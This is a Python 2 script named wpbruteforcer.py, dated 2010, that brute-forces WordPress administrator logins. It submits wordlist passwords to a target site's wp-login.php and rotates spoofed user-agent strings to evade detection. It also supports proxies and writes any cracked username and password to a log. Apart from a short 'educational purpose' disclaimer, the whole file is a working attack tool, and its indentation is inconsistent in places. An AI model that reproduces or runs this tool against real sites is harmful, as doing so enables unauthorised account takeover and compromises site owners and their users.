#!/usr/bin/python
# This is wordpress bruteforcer tools
# This was written for educational purpose and pentest only. Use it at your own risk.
# Author will not be responsible for any damage !!
# Toolname   : wpbruteforcer.py
# Programmer   : gunslinger_ <yudha.gunslinger@gmail.com>
# Version  : 1.0
# Date    : Wed Aug  4 13:38:13 WIT 2010

import re
import os
import sys
import random
import warnings
import time
try:
  import mechanize
except ImportError:
  print "[*] Please install mechanize python module first"
  sys.exit(1)
except KeyboardInterrupt:
  print "\n[*] Exiting program...\n"
  sys.exit(1)
try:
  import cookielib
except ImportError:
  print "[*] Please install cookielib python module first"
  sys.exit(1)
except KeyboardInterrupt:
  print "\n[*] Exiting program...\n"
  sys.exit(1)
  
warnings.filterwarnings(action="ignore", message=".*gzip transfer encoding is experimental!", category=UserWarning)

# define variable 
__programmer__   = "gunslinger_ <yudha.gunslinger@gmail.com>"
__version__      = "1.0"
verbose   = False
useproxy  = False
usepassproxy  = False
log    = 'wpbruteforcer.log'
file    = open(log, "a")
success    = 'Dashboard'
# some cheating ..
ouruseragent   = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
    'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
    'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
    'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
          'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
          'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
          'Microsoft Internet Explorer/4.0b1 (Windows 95)',
          'Opera/8.00 (Windows NT 5.1; U; en)',
    'amaya/9.51 libwww/5.4.0',
    'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
    'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
    'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
    'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
    'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',
    'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]'
    ]
wordpress   = '''
                       _                         
                      | |                        
__      _____  _ __ __| |_ __  _ __ ___  ___ ___ 
\ \ /\ / / _ \| '__/ _` | '_ \| '__/ _ \/ __/ __|
 \ V  V / (_) | | | (_| | |_) | | |  __/\\__ \\__ \\
  \_/\_/ \\___/|_|  \__,_| .__/|_|  \\___||___/___/
                        | |                      
                        |_|      bruteforcer...
          
Programmer : %s
Version     : %s''' % (__programmer__, __version__)
option           = '''
Usage  : %s [options]
Option : -t, --target    <hostname>  |   Site for bruteforce wp-admin
         -u, --username    <username>       |   User for bruteforcing
         -w, --wordlist    <filename>       |   Wordlist used for bruteforcing 
         -v, --verbose        |   Set %s will be verbose (more talkactiveable)
         -p, --proxy     <host:port>  |   Set http proxy will be use
         -k, --usernameproxy  <username>  |   Set username at proxy will be use
         -i, --passproxy  <password>  |   Set password at proxy will be use
         -l, --log     <filename>  |   Specify output filename (default : fbbruteforcer.log)
         -h, --help        <help>           |   Print this help
                                                  
Example : %s -t target.com -u jack -w wordlist.txt"
     
P.S : add "&" to run in the background  
''' % (sys.argv[0], sys.argv[0], sys.argv[0])
hme     = '''
Usage : %s [option]
  -h or --help for get help
  ''' % sys.argv[0]


def helpme():
  print wordpress
  print option
  file.write(wordpress)
  file.write(option)
  sys.exit(1)
  
def helpmee():
  print wordpress
  print hme
  file.write(wordpress)
  file.write(hme)
  sys.exit(1)
  
for arg in sys.argv:
  try:
    if arg.lower() == '-u' or arg.lower() == '--user':
                username = sys.argv[int(sys.argv[1:].index(arg))+2]
          if arg.lower() == '-t' or arg.lower() == '--target':
                target = sys.argv[int(sys.argv[1:].index(arg))+2]
                if "http://" in target:
                  target = target.replace("http://","")
                if "www." in target:
                  target = target.replace("www.","")
                targetsite = "http://www."+target+"/wp-login.php"
    elif arg.lower() == '-w' or arg.lower() == '--wordlist':
                wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
          elif arg.lower() == '-l' or arg.lower() == '--log':
                log = sys.argv[int(sys.argv[1:].index(arg))+2]
          elif arg.lower() == '-p' or arg.lower() == '--proxy':
            useproxy = True
                proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
          elif arg.lower() == '-k' or arg.lower() == '--userproxy':
            usepassproxy = True
                usw = sys.argv[int(sys.argv[1:].index(arg))+2]
          elif arg.lower() == '-i' or arg.lower() == '--passproxy':
            usepassproxy = True
                usp = sys.argv[int(sys.argv[1:].index(arg))+2]
    elif arg.lower() == '-v' or arg.lower() == '--verbose':
                verbose = True
          elif arg.lower() == '-h' or arg.lower() == '--help':
            helpme()
    elif len(sys.argv) <= 1:
      helpmee()
  except IOError:
    helpme()
  except NameError:
    helpme()
  except IndexError:
    helpme()
          
def bruteforce(word):
  try:
    sys.stdout.write("\r[*] Trying %s...                   \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t " % word)
    file.write("[*] Trying %s\n" % word)
    sys.stdout.flush()
    br.addheaders = [('User-agent', random.choice(ouruseragent))]
    opensite = br.open(targetsite)
    br.select_form(nr=0)
    br.form['log'] = username
    br.form['pwd'] = word
    br.submit()
    response = br.response().read()
    if verbose:
      print response
    if success in response:
      print "\n\n[*] Logging in success..."
      print "[*] Username : %s" % (username)
      print "[*] Password : %s\n" % (word)
      file.write("\n[*] Logging in success...")
      file.write("\n[*] Username : %s" % (username))
      file.write("\n[*] Password : %s\n\n" % (word))
      sys.exit(1)  
  except KeyboardInterrupt:
    print "\n[*] Exiting program...\n"
    sys.exit(1)
  except mechanize._mechanize.FormNotFoundError:
    print "\n[*] Can't launch attack sorry, form is different\n"
    file.write("\n[*] Can't launch attack sorry, form is different\n")
    sys.exit(1)
  except mechanize._form.ControlNotFoundError:
    print "\n[*] Can't launch attack sorry, form is different\n"
    file.write("\n[*] Can't launch attack sorry, form is different\n")
    sys.exit(1)
    
def releaser():
  global word    
  for word in words:
    bruteforce(word.replace("\n",""))
    
def main():
  global br
  global words
  try:
    br = mechanize.Browser()
    cj = cookielib.LWPCookieJar()
    br.set_cookiejar(cj)
    br.set_handle_equiv(True)
    br.set_handle_gzip(True)
    br.set_handle_redirect(True)
    br.set_handle_referer(True)
    br.set_handle_robots(False)
    br.set_debug_http(False)
    br.set_debug_redirects(False)
    br.set_debug_redirects(False)
    br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
    if useproxy:
      br.set_proxies({"http": proxy})
    if usepassproxy:
      br.add_proxy_password(usw, usp)
    if verbose:
      br.set_debug_http(True)
      br.set_debug_redirects(True)
      br.set_debug_redirects(True)
  except KeyboardInterrupt:
    print "\n[*] Exiting program...\n"
    file.write("\n[*] Exiting program...\n")
    sys.exit(1)
  try:
    preventstrokes = open(wordlist, "r")
    words          = preventstrokes.readlines()
    count          = 0 
    while count < len(words): 
      words[count] = words[count].strip() 
      count += 1 
  except IOError: 
      print "\n[*] Error: Check your wordlist path\n"
    file.write("\n[*] Error: Check your wordlist path\n")
      sys.exit(1)
  except NameError:
    helpme()
  except KeyboardInterrupt:
    print "\n[*] Exiting program...\n"
    file.write("\n[*] Exiting program...\n")
    sys.exit(1)
  try:
    print wordpress
    print "\n[*] Starting attack at %s" % time.strftime("%X")
    print "[*] Target site : %s" % (targetsite)
    print "[*] Account for bruteforcing \"%s\"" % (username)
    print "[*] Loaded :",len(words),"words"
    print "[*] Bruteforcing wp-login, please wait..."
    file.write(wordpress)
    file.write("\n[*] Starting attack at %s" % time.strftime("%X"))
    file.write("\n[*] Target site : %s" % (targetsite))
    file.write("\n[*] Account for bruteforcing \"%s\"" % (username))
    file.write("\n[*] Loaded : %d words" % int(len(words)))
    file.write("\n[*] Bruteforcing wp-login, please wait...\n")
  except KeyboardInterrupt:
    print "\n[*] Exiting program...\n"
    sys.exit(1)
  try:
    releaser()
    bruteforce(word)
  except NameError:
    helpme()

if __name__ == '__main__':
  main()